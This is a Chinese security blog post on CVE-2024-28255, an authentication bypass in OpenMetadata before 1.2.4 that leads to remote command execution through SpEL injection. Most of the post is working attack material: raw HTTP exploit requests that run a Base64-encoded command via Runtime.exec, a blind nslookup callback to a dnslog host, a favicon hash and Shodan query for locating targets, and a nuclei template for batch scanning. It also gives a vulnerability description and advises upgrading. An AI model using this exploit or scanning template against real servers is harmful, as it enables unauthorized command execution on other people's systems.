免责申明:本文内容为学习笔记分享,仅供技术学习参考,请勿用作违法用途,任何个人和组织利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责,与作者无关!!!
01
—
漏洞名称
02
—
漏洞影响
OpenMetadata < 1.2.4版本
OpenMetadata 是一个开源项目,地址如下,靶场照着安装文档自行安装
https://github.com/open-metadata/OpenMetadata
03
—
漏洞描述
OpenMetadata是一个统一的发现、观察和治理平台,由一个中央元数据存储库、深度派生和无缝团队协作支持。`JwtFilter`通过要求和验证JWT令牌来处理API身份验证。当新请求进入时,将检查请求的路径是否包含在排除列表中。当请求的路径包含任何排除的端点时,过滤器将在不验证JWT的情况下返回。不幸的是,攻击者可以使用路径参数使任何路径包含任意字符串。例如,对`GET /api/v1;v1%2fusers%2flogin/events/subscriptions/validation/condition/111`的请求将匹配排除的端点条件,因此将被处理而不验证JWT,从而允许攻击者绕过验证机制并达到任意端点,包括上述导致任意SpEL表达式注入的端点。当端点使用`SecurityContext.getUserPrincipal()`时,这种绕过将无效,因为它将返回`null`并且将引发NPE。此问题可能导致身份验证绕过,并已在版本1.2.4中解决。建议用户升级。
04
—
icon_hash="733091897"
05
—
漏洞复现
POC如下,其中命令需要用Base64编码
GET /api/v1;v1%2fusers%2flogin/events/subscriptions/validation/condition/T(java.lang.Runtime).getRuntime().exec(new%20java.lang.String(T(java.util.Base64).getDecoder().decode(%22命令%22))) HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:62.0) Gecko/20100101 Firefox/62.0
Connection: close
Accept-Encoding: gzip
该漏洞没有回显,需要借助DNS盲打来复现,先随机创建个DNS用户,然后对命令进行base64编码
nslookup xxxzhfqh.dnslog.pw
GET /api/v1;v1%2fusers%2flogin/events/subscriptions/validation/condition/T(java.lang.Runtime).getRuntime().exec(new%20java.lang.String(T(java.util.Base64).getDecoder().decode(%22bnNsb29rdXAgNDFhemhmcWguZG5zbG9nLnB3%22))) HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:62.0) Gecko/20100101 Firefox/62.0
Connection: close
Accept-Encoding: gzip
漏洞复现成功
06
—
批量扫描poc
nuclei poc文件内容如下
id: CVE-2024-28255
info:
name: OpenMetadata - Authentication Bypass
author: DhiyaneshDK,iamnooob
severity: critical
description: |
OpenMetadata is a unified platform for discovery, observability, and governance powered by a central metadata repository, in-depth lineage, and seamless team collaboration. The `JwtFilter` handles the API authentication by requiring and verifying JWT tokens. When a new request comes in, the request's path is checked against this list. When the request's path contains any of the excluded endpoints the filter returns without validating the JWT. Unfortunately, an attacker may use Path Parameters to make any path contain any arbitrary strings. For example, a request to `GET /api/v1;v1%2fusers%2flogin/events/subscriptions/validation/condition/111` will match the excluded endpoint condition and therefore will be processed with no JWT validation allowing an attacker to bypass the authentication mechanism and reach any arbitrary endpoint, including the ones listed above that lead to arbitrary SpEL expression injection. This bypass will not work when the endpoint uses the `SecurityContext.getUserPrincipal()` since it will return `null` and will throw an NPE. This issue may lead to authentication bypass and has been addressed in version 1.2.4. Users are advised to upgrade. There are no known workarounds for this vulnerability. This issue is also tracked as `GHSL-2023-237`.
reference:
- https://github.com/open-metadata/OpenMetadata/blob/e2043a3f31312ebb42391d6c93a67584d798de52/openmetadata-service/src/main/java/org/openmetadata/service/security/JwtFilter.java#L111
- https://github.com/open-metadata/OpenMetadata/blob/e2043a3f31312ebb42391d6c93a67584d798de52/openmetadata-service/src/main/java/org/openmetadata/service/security/JwtFilter.java#L113
- https://github.com/open-metadata/OpenMetadata/security/advisories/GHSA-6wx7-qw5p-wh84
- https://nvd.nist.gov/vuln/detail/CVE-2024-28255
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2024-28255
cwe-id: CWE-287
epss-score: 0.00045
epss-percentile: 0.12989
metadata:
verified: true
max-request: 1
shodan-query: http.favicon.hash:733091897
tags: cve,cve2024,openmetadata,rce,auth-bypass
variables:
callback: "{{interactsh-url}}"
cmd: "nslookup {{callback}}"
payload: '{{base64(cmd)}}'
http:
- raw:
- |
GET /api/v1;v1%2fusers%2flogin/events/subscriptions/validation/condition/T(java.lang.Runtime).getRuntime().exec(new%20java.lang.String(T(java.util.Base64).getDecoder().decode(%22{{payload}}%22))) HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- "status_code == 400"
- "contains(interactsh_protocol, 'dns')"
- 'contains(body, "java.lang.Boolean")'
- 'contains(header, "application/json")'
condition: and
# digest: 4a0a00473045022100c0396d7d2cda35db57fec494cace654bac870c3441e8062bf8d202f35ccbf1e9022005757044cea4c00fe5c637c2d8134c5542795f4f41eeb6abd464db998a20471a:922c64590222798bb761d5b6d8e72950
07
—
修复建议
升级到最新版本。
原文始发于微信公众号(AI与网安):CVE-2024-28255
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论